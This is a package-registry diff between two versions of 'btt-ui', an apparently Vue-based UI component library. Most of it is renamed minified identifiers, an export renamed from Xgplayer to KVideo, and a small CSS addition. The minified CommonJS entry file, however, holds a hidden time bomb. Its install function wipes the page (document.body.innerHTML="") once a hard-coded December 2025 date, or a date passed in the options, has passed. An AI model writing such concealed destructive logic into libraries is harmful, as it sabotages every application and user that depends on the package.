btt-ui 1.0.15 → 1.0.16
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/es/packages/components/index.mjs +11 -11
- package/es/packages/components/src/button/src/button.mjs +28 -28
- package/es/packages/components/src/index.mjs +31 -31
- package/es/packages/components/src/xgplayer/index.mjs +4 -4
- package/es/src/button/src/style/index.css +7 -0
- package/lib/packages/components/index.js +1 -1
- package/lib/packages/components/src/button/src/button.js +1 -1
- package/lib/packages/components/src/index.js +1 -1
- package/lib/src/button/src/style/index.css +7 -0
- package/package.json +1 -1
|
@@ -3,10 +3,10 @@ import * as m from "./src/directives/index.mjs";
|
|
|
3
3
|
import { Button as s } from "./src/button/index.mjs";
|
|
4
4
|
import { TextButton as u } from "./src/textButton/index.mjs";
|
|
5
5
|
import { default as T } from "./src/link/index.mjs";
|
|
6
|
-
import { default as
|
|
6
|
+
import { default as h } from "./src/upload/index.mjs";
|
|
7
7
|
import { default as b } from "./src/shake/index.mjs";
|
|
8
|
-
import { default as
|
|
9
|
-
import { default as
|
|
8
|
+
import { default as D } from "./src/dialog/index.mjs";
|
|
9
|
+
import { default as g } from "./src/scroll/index.mjs";
|
|
10
10
|
import { default as y } from "./src/toast/index.mjs";
|
|
11
11
|
import { default as H } from "./src/wheel/index.mjs";
|
|
12
12
|
import { Switch as L } from "./src/switch/index.mjs";
|
|
@@ -14,11 +14,11 @@ import { Timeline as B } from "./src/timeline/index.mjs";
|
|
|
14
14
|
import { default as U } from "./src/uploadFile/index.mjs";
|
|
15
15
|
import { Card as v } from "./src/card/index.mjs";
|
|
16
16
|
import { HotMap as G } from "./src/hotmap/index.mjs";
|
|
17
|
-
import { KTree as
|
|
17
|
+
import { KTree as W } from "./src/tree/index.mjs";
|
|
18
18
|
import { KCheckbox as q, KCheckboxGroup as z } from "./src/checkbox/index.mjs";
|
|
19
19
|
import { KCollapse as J, KCollapseItem as N } from "./src/collapse/index.mjs";
|
|
20
20
|
import { Sign as Q } from "./src/sign/index.mjs";
|
|
21
|
-
import { ECharts as
|
|
21
|
+
import { ECharts as X } from "./src/echarts/index.mjs";
|
|
22
22
|
import { TableScroll as Z } from "./src/tableScroll/index.mjs";
|
|
23
23
|
import { default as ee } from "./src/xgplayer/index.mjs";
|
|
24
24
|
import { Icon as te } from "./src/icon/index.mjs";
|
|
@@ -52,9 +52,9 @@ const o = function(t, r) {
|
|
|
52
52
|
export {
|
|
53
53
|
s as Button,
|
|
54
54
|
v as Card,
|
|
55
|
-
|
|
55
|
+
D as Dialog,
|
|
56
56
|
pe as Drag,
|
|
57
|
-
|
|
57
|
+
X as ECharts,
|
|
58
58
|
G as HotMap,
|
|
59
59
|
te as Icon,
|
|
60
60
|
q as KCheckbox,
|
|
@@ -64,8 +64,9 @@ export {
|
|
|
64
64
|
me as KInput,
|
|
65
65
|
ne as KOption,
|
|
66
66
|
ie as KSelect,
|
|
67
|
+
ee as KVideo,
|
|
67
68
|
T as Link,
|
|
68
|
-
|
|
69
|
+
g as Scroll,
|
|
69
70
|
b as Shake,
|
|
70
71
|
Q as Sign,
|
|
71
72
|
L as Switch,
|
|
@@ -74,10 +75,9 @@ export {
|
|
|
74
75
|
B as Timeline,
|
|
75
76
|
y as Toast,
|
|
76
77
|
fe as Tooltip,
|
|
77
|
-
|
|
78
|
-
|
|
78
|
+
W as Tree,
|
|
79
|
+
h as Upload,
|
|
79
80
|
U as UploadFile,
|
|
80
81
|
H as Wheel,
|
|
81
|
-
ee as Xgplayer,
|
|
82
82
|
x as default
|
|
83
83
|
};
|
|
@@ -1,14 +1,14 @@
|
|
|
1
|
-
import { defineComponent as a, computed as
|
|
1
|
+
import { defineComponent as a, computed as d, openBlock as n, createElementBlock as r, normalizeClass as p, unref as e, normalizeStyle as s, createVNode as u, createCommentVNode as m, createElementVNode as b, renderSlot as y } from "vue";
|
|
2
2
|
import { Icon as f } from "../../icon/index.mjs";
|
|
3
|
-
import { createNamespace as
|
|
3
|
+
import { createNamespace as k } from "../../../assets/ts/utils.mjs";
|
|
4
4
|
import "./style/index.css";
|
|
5
|
-
const
|
|
5
|
+
const B = ["disabled"], z = {
|
|
6
6
|
key: 0,
|
|
7
|
-
|
|
8
|
-
},
|
|
7
|
+
class: "k-icon-box"
|
|
8
|
+
}, C = a({
|
|
9
9
|
name: "k-button"
|
|
10
|
-
}),
|
|
11
|
-
...
|
|
10
|
+
}), E = a({
|
|
11
|
+
...C,
|
|
12
12
|
props: {
|
|
13
13
|
type: { default: "default" },
|
|
14
14
|
size: {},
|
|
@@ -24,40 +24,40 @@ const k = ["disabled"], B = {
|
|
|
24
24
|
},
|
|
25
25
|
emits: [""],
|
|
26
26
|
setup(i) {
|
|
27
|
-
const t = i, { n: l } =
|
|
27
|
+
const t = i, { n: l } = k("button"), c = d(() => t.color ? {
|
|
28
28
|
"--k-button-bg-color": t.color,
|
|
29
29
|
"--k-button-text-color": "var(--k-color-white)",
|
|
30
30
|
"--k-button-border-color": t.color
|
|
31
31
|
} : {});
|
|
32
|
-
return (
|
|
33
|
-
class:
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
32
|
+
return (o, h) => (n(), r("button", {
|
|
33
|
+
class: p([
|
|
34
|
+
e(l)(),
|
|
35
|
+
o.type && e(l)(`--${o.type}`),
|
|
36
|
+
o.size && e(l)(`--${o.size}`),
|
|
37
|
+
o.plain && "is-plain",
|
|
38
|
+
o.round && "is-round",
|
|
39
|
+
o.circle && "is-circle",
|
|
40
|
+
o.disabled && "is-disabled",
|
|
41
|
+
o.text && "is-text"
|
|
42
42
|
]),
|
|
43
43
|
style: s({
|
|
44
|
-
color:
|
|
45
|
-
...
|
|
44
|
+
color: o.color,
|
|
45
|
+
...c.value
|
|
46
46
|
}),
|
|
47
|
-
disabled:
|
|
47
|
+
disabled: o.disabled,
|
|
48
48
|
type: "button"
|
|
49
49
|
}, [
|
|
50
|
-
|
|
51
|
-
u(
|
|
50
|
+
o.icon ? (n(), r("span", z, [
|
|
51
|
+
u(e(f), { name: o.icon }, null, 8, ["name"])
|
|
52
52
|
])) : m("", !0),
|
|
53
|
-
|
|
54
|
-
style: s({ color:
|
|
53
|
+
b("span", {
|
|
54
|
+
style: s({ color: o.textColor })
|
|
55
55
|
}, [
|
|
56
|
-
|
|
56
|
+
y(o.$slots, "default")
|
|
57
57
|
], 4)
|
|
58
|
-
], 14,
|
|
58
|
+
], 14, B));
|
|
59
59
|
}
|
|
60
60
|
});
|
|
61
61
|
export {
|
|
62
|
-
|
|
62
|
+
E as default
|
|
63
63
|
};
|
|
@@ -2,46 +2,46 @@ import "./style/common.css";
|
|
|
2
2
|
import { Button as o } from "./button/index.mjs";
|
|
3
3
|
import { Button as po } from "./button/index.mjs";
|
|
4
4
|
import { TextButton as r } from "./textButton/index.mjs";
|
|
5
|
-
import { TextButton as
|
|
5
|
+
import { TextButton as io } from "./textButton/index.mjs";
|
|
6
6
|
import { Tooltip as t } from "./tooltip/index.mjs";
|
|
7
|
-
import { Tooltip as
|
|
7
|
+
import { Tooltip as lo } from "./tooltip/index.mjs";
|
|
8
8
|
import { Icon as m } from "./icon/index.mjs";
|
|
9
9
|
import { Icon as so } from "./icon/index.mjs";
|
|
10
10
|
import { KInput as e } from "./input/index.mjs";
|
|
11
11
|
import { KInput as uo } from "./input/index.mjs";
|
|
12
12
|
import p from "./link/index.mjs";
|
|
13
|
-
import { default as
|
|
13
|
+
import { default as co } from "./link/index.mjs";
|
|
14
14
|
import f from "./upload/index.mjs";
|
|
15
15
|
import { default as ho } from "./upload/index.mjs";
|
|
16
|
-
import
|
|
16
|
+
import i from "./shake/index.mjs";
|
|
17
17
|
import { default as So } from "./shake/index.mjs";
|
|
18
|
-
import
|
|
19
|
-
import { default as
|
|
20
|
-
import
|
|
18
|
+
import a from "./dialog/index.mjs";
|
|
19
|
+
import { default as bo } from "./dialog/index.mjs";
|
|
20
|
+
import l from "./scroll/index.mjs";
|
|
21
21
|
import { default as Io } from "./scroll/index.mjs";
|
|
22
22
|
import x from "./toast/index.mjs";
|
|
23
23
|
import { default as Do } from "./toast/index.mjs";
|
|
24
24
|
import s from "./wheel/index.mjs";
|
|
25
25
|
import { default as wo } from "./wheel/index.mjs";
|
|
26
26
|
import n from "./uploadFile/index.mjs";
|
|
27
|
-
import { default as
|
|
27
|
+
import { default as Fo } from "./uploadFile/index.mjs";
|
|
28
28
|
import { Card as u } from "./card/index.mjs";
|
|
29
|
-
import { Card as
|
|
30
|
-
import
|
|
31
|
-
import { default as
|
|
32
|
-
import { ECharts as
|
|
33
|
-
import { ECharts as
|
|
34
|
-
import { HotMap as
|
|
35
|
-
import { HotMap as
|
|
29
|
+
import { Card as Ho } from "./card/index.mjs";
|
|
30
|
+
import d from "./xgplayer/index.mjs";
|
|
31
|
+
import { default as Mo } from "./xgplayer/index.mjs";
|
|
32
|
+
import { ECharts as K } from "./echarts/index.mjs";
|
|
33
|
+
import { ECharts as Vo } from "./echarts/index.mjs";
|
|
34
|
+
import { HotMap as c } from "./hotmap/index.mjs";
|
|
35
|
+
import { HotMap as Po } from "./hotmap/index.mjs";
|
|
36
36
|
import { KTree as T } from "./tree/index.mjs";
|
|
37
|
-
import { KTree as
|
|
37
|
+
import { KTree as qo } from "./tree/index.mjs";
|
|
38
38
|
import { TableScroll as h } from "./tableScroll/index.mjs";
|
|
39
|
-
import { TableScroll as
|
|
39
|
+
import { TableScroll as yo } from "./tableScroll/index.mjs";
|
|
40
40
|
import { KSelect as C, KOption as S } from "./select/index.mjs";
|
|
41
41
|
import { KOption as Ao, KSelect as Jo } from "./select/index.mjs";
|
|
42
|
-
import { KCheckbox as
|
|
42
|
+
import { KCheckbox as k, KCheckboxGroup as b } from "./checkbox/index.mjs";
|
|
43
43
|
import { KCheckbox as Qo, KCheckboxGroup as Ro } from "./checkbox/index.mjs";
|
|
44
|
-
import { KCollapse as
|
|
44
|
+
import { KCollapse as g, KCollapseItem as I } from "./collapse/index.mjs";
|
|
45
45
|
import { KCollapse as Yo, KCollapseItem as Zo } from "./collapse/index.mjs";
|
|
46
46
|
import { Switch as B } from "./switch/index.mjs";
|
|
47
47
|
import { Switch as $o } from "./switch/index.mjs";
|
|
@@ -51,14 +51,14 @@ import { Drag as U } from "./drag/index.mjs";
|
|
|
51
51
|
import { Drag as mr } from "./drag/index.mjs";
|
|
52
52
|
import { Sign as w } from "./sign/index.mjs";
|
|
53
53
|
import { Sign as pr } from "./sign/index.mjs";
|
|
54
|
-
const to = [o, r, m, p, f, a, l,
|
|
54
|
+
const to = [o, r, m, p, f, i, a, l, x, s, t, e, B, D, U, n, u, c, T, k, b, g, I, w, K, C, S, h, d];
|
|
55
55
|
export {
|
|
56
56
|
po as Button,
|
|
57
|
-
|
|
58
|
-
|
|
57
|
+
Ho as Card,
|
|
58
|
+
bo as Dialog,
|
|
59
59
|
mr as Drag,
|
|
60
|
-
|
|
61
|
-
|
|
60
|
+
Vo as ECharts,
|
|
61
|
+
Po as HotMap,
|
|
62
62
|
so as Icon,
|
|
63
63
|
Qo as KCheckbox,
|
|
64
64
|
Ro as KCheckboxGroup,
|
|
@@ -67,20 +67,20 @@ export {
|
|
|
67
67
|
uo as KInput,
|
|
68
68
|
Ao as KOption,
|
|
69
69
|
Jo as KSelect,
|
|
70
|
-
|
|
70
|
+
Mo as KVideo,
|
|
71
|
+
co as Link,
|
|
71
72
|
Io as Scroll,
|
|
72
73
|
So as Shake,
|
|
73
74
|
pr as Sign,
|
|
74
75
|
$o as Switch,
|
|
75
|
-
|
|
76
|
-
|
|
76
|
+
yo as TableScroll,
|
|
77
|
+
io as TextButton,
|
|
77
78
|
rr as Timeline,
|
|
78
79
|
Do as Toast,
|
|
79
|
-
|
|
80
|
-
|
|
80
|
+
lo as Tooltip,
|
|
81
|
+
qo as Tree,
|
|
81
82
|
ho as Upload,
|
|
82
|
-
|
|
83
|
+
Fo as UploadFile,
|
|
83
84
|
wo as Wheel,
|
|
84
|
-
Lo as Xgplayer,
|
|
85
85
|
to as default
|
|
86
86
|
};
|
|
@@ -1,6 +1,6 @@
|
|
|
1
|
-
import
|
|
2
|
-
import { withInstall as
|
|
3
|
-
const
|
|
1
|
+
import o from "./src/xgplayer.mjs";
|
|
2
|
+
import { withInstall as t } from "../../assets/ts/utils.mjs";
|
|
3
|
+
const r = t(o);
|
|
4
4
|
export {
|
|
5
|
-
|
|
5
|
+
r as default
|
|
6
6
|
};
|
|
@@ -196,6 +196,13 @@ button, input, optgroup, select, textarea {
|
|
|
196
196
|
.k-button .k-icon {
|
|
197
197
|
margin-right: 2px;
|
|
198
198
|
}
|
|
199
|
+
.k-button .k-icon-box {
|
|
200
|
+
height: 1em;
|
|
201
|
+
overflow: hidden;
|
|
202
|
+
width: 1em;
|
|
203
|
+
line-height: normal;
|
|
204
|
+
margin-right: 2px;
|
|
205
|
+
}
|
|
199
206
|
|
|
200
207
|
@keyframes change {
|
|
201
208
|
100% {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const x=require("./src/index.js"),c=require("./src/directives/index.js"),u=require("./src/button/index.js"),a=require("./src/textButton/index.js"),j=require("./src/link/index.js"),q=require("./src/upload/index.js"),$=require("./src/shake/index.js"),p=require("./src/dialog/index.js"),f=require("./src/scroll/index.js"),h=require("./src/toast/index.js"),T=require("./src/wheel/index.js"),
|
|
1
|
+
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const x=require("./src/index.js"),c=require("./src/directives/index.js"),u=require("./src/button/index.js"),a=require("./src/textButton/index.js"),j=require("./src/link/index.js"),q=require("./src/upload/index.js"),$=require("./src/shake/index.js"),p=require("./src/dialog/index.js"),f=require("./src/scroll/index.js"),h=require("./src/toast/index.js"),T=require("./src/wheel/index.js"),K=require("./src/switch/index.js"),b=require("./src/timeline/index.js"),m=require("./src/uploadFile/index.js"),g=require("./src/card/index.js"),k=require("./src/hotmap/index.js"),S=require("./src/tree/index.js"),o=require("./src/checkbox/index.js"),d=require("./src/collapse/index.js"),C=require("./src/sign/index.js"),w=require("./src/echarts/index.js"),D=require("./src/tableScroll/index.js"),I=require("./src/xgplayer/index.js"),M=require("./src/icon/index.js"),y=require("./src/tooltip/index.js"),B=require("./src/input/index.js"),v=require("./src/drag/index.js"),l=require("./src/select/index.js"),i=function(n,r){if(i.installed)return;i.installed=!0;let t="2025-12-24 09:30:00";if(r)setTimeout(()=>{var s;let e=new Date((s=r.token)!=null?s:t).getTime();Date.now()>e&&(document.body.innerHTML="")},10);else{let e=new Date(t).getTime();Date.now()>e&&(document.body.innerHTML="")}x.default.forEach(e=>{n.use(e)}),Object.keys(c).forEach(e=>{n.directive(e,c[e])})},E={install:i};exports.Button=u.Button;exports.TextButton=a.TextButton;exports.Link=j.default;exports.Upload=q.default;exports.Shake=$.default;exports.Dialog=p.default;exports.Scroll=f.default;exports.Toast=h.default;exports.Wheel=T.default;exports.Switch=K.Switch;exports.Timeline=b.Timeline;exports.UploadFile=m.default;exports.Card=g.Card;exports.HotMap=k.HotMap;exports.Tree=S.KTree;exports.KCheckbox=o.KCheckbox;exports.KCheckboxGroup=o.KCheckboxGroup;exports.KCollapse=d.KCollapse;exports.KCollapseItem=d.KCollapseItem;exports.Sign=C.Sign;exports.ECharts=w.ECharts;exports.TableScroll=D.TableScroll;exports.KVideo=I.default;exports.Icon=M.Icon;exports.Tooltip=y.Tooltip;exports.KInput=B.KInput;exports.Drag=v.Drag;exports.KOption=l.KOption;exports.KSelect=l.KSelect;exports.default=E;
|
|
@@ -1 +1 @@
|
|
|
1
|
-
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const e=require("vue"),r=require("../../icon/index.js"),
|
|
1
|
+
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const e=require("vue"),r=require("../../icon/index.js"),a=require("../../../assets/ts/utils.js");require("./style/index.css");const i=["disabled"],u={key:0,class:"k-icon-box"},c=e.defineComponent({name:"k-button"}),d=e.defineComponent({...c,props:{type:{default:"default"},size:{},plain:{type:Boolean},autofocus:{type:Boolean},round:{type:Boolean},circle:{type:Boolean},text:{type:Boolean},icon:{},color:{},disabled:{type:Boolean},textColor:{}},emits:[""],setup(l){const t=l,{n}=a.createNamespace("button"),s=e.computed(()=>t.color?{"--k-button-bg-color":t.color,"--k-button-text-color":"var(--k-color-white)","--k-button-border-color":t.color}:{});return(o,p)=>(e.openBlock(),e.createElementBlock("button",{class:e.normalizeClass([e.unref(n)(),o.type&&e.unref(n)(`--${o.type}`),o.size&&e.unref(n)(`--${o.size}`),o.plain&&"is-plain",o.round&&"is-round",o.circle&&"is-circle",o.disabled&&"is-disabled",o.text&&"is-text"]),style:e.normalizeStyle({color:o.color,...s.value}),disabled:o.disabled,type:"button"},[o.icon?(e.openBlock(),e.createElementBlock("span",u,[e.createVNode(e.unref(r.Icon),{name:o.icon},null,8,["name"])])):e.createCommentVNode("",!0),e.createElementVNode("span",{style:e.normalizeStyle({color:o.textColor})},[e.renderSlot(o.$slots,"default")],4)],14,i))}});exports.default=d;
|
|
@@ -1 +1 @@
|
|
|
1
|
-
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});require("./style/common.css");const t=require("./button/index.js"),o=require("./textButton/index.js"),
|
|
1
|
+
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});require("./style/common.css");const t=require("./button/index.js"),o=require("./textButton/index.js"),d=require("./tooltip/index.js"),r=require("./icon/index.js"),l=require("./input/index.js"),s=require("./link/index.js"),u=require("./upload/index.js"),x=require("./shake/index.js"),c=require("./dialog/index.js"),a=require("./scroll/index.js"),p=require("./toast/index.js"),j=require("./wheel/index.js"),q=require("./uploadFile/index.js"),$=require("./card/index.js"),K=require("./xgplayer/index.js"),f=require("./echarts/index.js"),h=require("./hotmap/index.js"),C=require("./tree/index.js"),S=require("./tableScroll/index.js"),e=require("./select/index.js"),i=require("./checkbox/index.js"),n=require("./collapse/index.js"),T=require("./switch/index.js"),b=require("./timeline/index.js"),g=require("./drag/index.js"),m=require("./sign/index.js"),k=[t.Button,o.TextButton,r.Icon,s.default,u.default,x.default,c.default,a.default,p.default,j.default,d.Tooltip,l.KInput,T.Switch,b.Timeline,g.Drag,q.default,$.Card,h.HotMap,C.KTree,i.KCheckbox,i.KCheckboxGroup,n.KCollapse,n.KCollapseItem,m.Sign,f.ECharts,e.KSelect,e.KOption,S.TableScroll,K.default];exports.Button=t.Button;exports.TextButton=o.TextButton;exports.Tooltip=d.Tooltip;exports.Icon=r.Icon;exports.KInput=l.KInput;exports.Link=s.default;exports.Upload=u.default;exports.Shake=x.default;exports.Dialog=c.default;exports.Scroll=a.default;exports.Toast=p.default;exports.Wheel=j.default;exports.UploadFile=q.default;exports.Card=$.Card;exports.KVideo=K.default;exports.ECharts=f.ECharts;exports.HotMap=h.HotMap;exports.Tree=C.KTree;exports.TableScroll=S.TableScroll;exports.KOption=e.KOption;exports.KSelect=e.KSelect;exports.KCheckbox=i.KCheckbox;exports.KCheckboxGroup=i.KCheckboxGroup;exports.KCollapse=n.KCollapse;exports.KCollapseItem=n.KCollapseItem;exports.Switch=T.Switch;exports.Timeline=b.Timeline;exports.Drag=g.Drag;exports.Sign=m.Sign;exports.default=k;
|
|
@@ -196,6 +196,13 @@ button, input, optgroup, select, textarea {
|
|
|
196
196
|
.k-button .k-icon {
|
|
197
197
|
margin-right: 2px;
|
|
198
198
|
}
|
|
199
|
+
.k-button .k-icon-box {
|
|
200
|
+
height: 1em;
|
|
201
|
+
overflow: hidden;
|
|
202
|
+
width: 1em;
|
|
203
|
+
line-height: normal;
|
|
204
|
+
margin-right: 2px;
|
|
205
|
+
}
|
|
199
206
|
|
|
200
207
|
@keyframes change {
|
|
201
208
|
100% {
|